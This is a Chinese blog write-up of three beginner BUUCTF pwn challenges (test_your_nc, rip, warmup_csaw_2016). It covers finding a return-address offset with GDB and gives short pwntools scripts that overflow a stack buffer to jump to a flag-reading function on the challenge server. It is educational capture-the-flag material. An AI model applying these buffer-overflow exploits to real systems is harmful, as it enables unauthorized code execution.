pwn——test_your_nc#rip#warmup_csaw_2016

  • Post author:
  • Post category:其他




test_your_nc



题目


https://buuoj.cn/challenges#test_your_nc



解答

1、根据题目提示,直接nc

在这里插入图片描述

2、cat flag

在这里插入图片描述



rip



题目

题目链接:

https://buuoj.cn/challenges#rip



解答

1、IDA打开分析

在这里插入图片描述

发现gets函数,同时查询文件返现没有栈溢出保护

同时发现命令执行函数,地址为0x40118A

在这里插入图片描述

2、测试偏移地址

两种方法:

法一:

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /home/dililearngent/Desktop/pwn/pwn1 
please input
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
ok,bye!!!

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7b043c0 (<__write_nocancel+7>:	cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0 
RSI: 0x405010 ("ok,bye!!!\nAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
RDI: 0x1 
RBP: 0x412d41414341416e ('nAACAA-A')
RSP: 0x7fffffffdce8 ("A(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RIP: 0x401185 (<main+67>:	ret)
R8 : 0x7ffff7fdf700 (0x00007ffff7fdf700)
R9 : 0x4177414159414176 ('vAAYAAwA')
R10: 0x7941417841415a41 ('AZAAxAAy')
R11: 0x246 
R12: 0x401060 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffddc0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40117a <main+56>:	call   0x401030 <puts@plt>
   0x40117f <main+61>:	mov    eax,0x0
   0x401184 <main+66>:	leave  
=> 0x401185 <main+67>:	ret    
   0x401186 <fun>:	push   rbp
   0x401187 <fun+1>:	mov    rbp,rsp
   0x40118a <fun+4>:	lea    rdi,[rip+0xe8a]        # 0x40201b
   0x401191 <fun+11>:	call   0x401040 <system@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdce8 ("A(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0x7fffffffdcf0 ("AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0x7fffffffdcf8 ("aAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0x7fffffffdd00 ("AbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0032| 0x7fffffffdd08 ("AAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0040| 0x7fffffffdd10 ("HAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0048| 0x7fffffffdd18 ("AIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0056| 0x7fffffffdd20 ("AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401185 in main ()
gdb-peda$ pattern offset A(AADAA
A(AADAA found at offset: 23

得到偏移地址是23

法2:

手动计算

在这里插入图片描述

s的空间地址为15,加上堆栈中ebp,故返回地址存储空间的偏移地址是15+8=23

3、编写脚本

from pwn import *
p = remote('node4.buuoj.cn',25402)
payload = 'a'*23+p64(0x40118A)
p.sendline(payload)
p.interactive()

在这里插入图片描述

拿到flag



warmup_csaw_2016



题目


https://buuoj.cn/challenges#warmup_csaw_2016



解答

1、先查看文件信息

在这里插入图片描述

64位,小端序等

在这里插入图片描述

没有栈溢出保护

2、打开IDA分析一波,找到main函数,发现了很明显的sprintf栈溢出漏洞

在这里插入图片描述

shift+F12查看程序中的字符串:

在这里插入图片描述

定位相关函数,可以直接读取flag

在这里插入图片描述

在这里插入图片描述

3、测试偏移地址

![在这里插入图片描述](https://img-blog.csdnimg.cn/1ec43cef2aef49058c8bb5679c0bd73e.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBARGlsaUxlYXJuZ2VudA==,size_19,color_FFFFFF,t_70,g_se,x_1

在这里插入图片描述

由于程序返回地址被覆盖,未能正确返回故报错,此时栈顶元素或者ESP中的值所在的地址就是之前存储返回地址的地址,故只需要查看栈顶元素或ESP的值在输入值的偏移地址即可查找到我们所需要的偏移地址。

或者还可以这样考虑,在调用函数后,先压入函数返回地址再压入EBP的值,这里可以根据查看EBP里的值距离输入字符串的偏移值,然后再加上8即可得到偏移值

4、读取flag命令的函数地址为0x40060d,编写脚本

from pwn import *
p = remote('node4.buuoj.cn',28917)
payload = 'a'*72+p64(0x40060d)
p.sendline(payload)
p.interactive()

5、运行

在这里插入图片描述

得到flag



版权声明:本文为LSYZWF原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。